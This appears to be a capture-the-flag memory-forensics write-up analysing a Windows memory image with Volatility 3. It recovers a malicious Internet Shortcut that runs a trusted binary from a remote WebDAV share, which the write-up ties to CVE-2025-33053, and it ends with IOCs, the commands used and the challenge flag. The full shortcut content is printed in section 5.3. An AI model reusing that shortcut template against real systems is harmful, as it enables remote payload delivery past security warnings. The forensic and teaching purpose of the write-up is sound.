Digital Forensics & Incident Response (DFIR) Report

Case Title

Memory Forensics Analysis – Ophelia Incident

Case ID

CHALLENGE-OPHELIA-DFIR-01

Analyst

Mahek Gupta

1. Executive Summary

A digital forensic investigation was conducted on a provided Windows memory image (`ophelia.raw`) following suspicion of abnormal system behavior and potential compromise. The objective of the investigation was to identify malicious artifacts, determine attacker techniques, and assess potential impact.Analysis revealed the presence of a malicious Internet Shortcut (`.url`) file named `dna_analysis_portal.url` located within a user directory. The artifact was configured to execute a trusted Windows binary while referencing a remote WebDAV share as its working directory. The observed behavior aligns with **CVE-2025-33053**, a vulnerability that allows abuse of Internet Shortcut files using remote UNC/WebDAV paths. An attacker-controlled host at IP address **10.72.5.205** was identified as the remote infrastructure involved.The findings indicate a high-risk security issue that could allow arbitrary code execution, payload delivery, or follow-on compromise.

2. Scope and Objectives

2.1 Scope

The scope of this investigation was limited to .Analysis of a single Windows memory image (`ophelia.raw`). Identification of malicious artifacts present in memory. Extraction and analysis of relevant file objects

2.2 Objectives

Identify suspicious files or indicators of compromise.Extract and analyze malicious artifacts.Determine attacker techniques and vulnerabilities exploited.Document findings in a defensible forensic report

3. Evidence Overview

Memory dump: ophelia.raw

Tool: volatility3

Operating System: windows

The incident occured on December 7,2025 14:00:47 UTC

4. Methodology

The investigation was performed using memory forensics techniques with the Volatility 3 framework. The analysis process included.Enumeration of file objects present in memory.Identification of suspicious or anomalous artifacts.Extraction of relevant file data using memory offsets.Manual analysis of recovered content.Mapping observed behavior to known attack techniques and vulnerabilities.All analysis steps were conducted in a controlled offline environment.

5. Technical Findings

5.1 Discovery of Suspicious Artifact

File enumeration was performed using Volatility's `windows.filescan` plugin. This process identified an Internet Shortcut file of interest:

```
\Users\Igor\Documents\Important Links\dna_analysis_portal.url
```

The file's presence in a user-accessible directory raised suspicion due to its naming and location.

5.2 Artifact Extraction

The identified file object was extracted from memory using the `windows.dumpfiles` plugin with the associated virtual address:

- File Object Address: `0xc201a703b260`

Although Volatility reported an error during dumping, partial file data was successfully recovered in the form of `.dat` files generated during extraction.

5.3 Artifact Content Analysis

String analysis of the recovered data revealed the following contents:

```
[InternetShortcut]

URL=C:\Program Files\Internet Explorer\iediagcmd.exe

WorkingDirectory=\\10.72.5.205\webdav\\

ShowCommand=7

IconIndex=13

IconFile=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
```

5.4 Behavioral Analysis

The Internet Shortcut file is configured to:

- Execute a **trusted local Windows binary** (`iediagcmd.exe`)
- Set its working directory to a **remote UNC path** hosted over WebDAV
- Load attacker-controlled resources from the remote server.

6. Attack Technique Analysis

The observed configuration demonstrates a known exploitation technique involving Internet Shortcut files. Instead of placing malicious content directly in the `URL` field, the attacker abuses the `WorkingDirectory` parameter to point to a remote WebDAV share.

When the shortcut is executed.Windows launches a trusted signed binary.The binary operates within an attacker-controlled remote directory.Malicious payloads can be loaded or executed without MoTW enforcement.This technique enables stealthy initial access and payload delivery.

7. CVE Mapping

Identified Vulnerability

CVE-2025-33053

Description

A vulnerability in Windows Internet Shortcut handling allows attackers to execute code by referencing a remote WebDAV or UNC path as the working directory, bypassing Mark-of-the-Web security controls.

Justification

The recovered artifact exactly matches the documented exploitation pattern for CVE-2025-33053, including:

- Use of `.url` file
- Abuse of `WorkingDirectory`
- WebDAV-based UNC path
- Execution of trusted Windows binaries

8. Indicators of Compromise (IOCs)

Type	Indicator
File Name	`dna_analysis_portal.url`
File Type	Internet Shortcut

IP Address	`10.72.5.205`
Protocol	WebDAV
Vulnerability	CVE-2025-33053

9. Impact Assessment

If successfully executed, this attack technique could result in.Remote code execution.Delivery of secondary payloads.Persistence mechanisms.Credential harvesting.Further lateral movement Due to the use of trusted binaries, detection by traditional security controls may be reduced.

10. Conclusion

The forensic analysis confirms the presence of a malicious Internet Shortcut file in memory that abuses a known Windows vulnerability (CVE-2025-33053). The artifact demonstrates a deliberate attempt to execute code via a remote WebDAV share while bypassing standard security protections.

The identified indicators and behavior strongly suggest attacker activity rather than benign usage. Immediate remediation and monitoring would be required in a real-world scenario to prevent further compromise.

12. Appendix A – Commands Used

```
python3 vol.py -f ophelia.raw windows.filescan.FileScan
```

```
python3 vol.py -f ophelia.raw windows.dumpfiles.DumpFiles --virtaddr 0xc201a703b260
```

```
strings file.0xc201a703b260.0xc2019f414a30.DataSectionObject.dna_analysis_portal.url.dat
```

Final Flag

```
nite{dna_analysis_portal.url_10.72.5.205_CVE-2025-33053}
```

\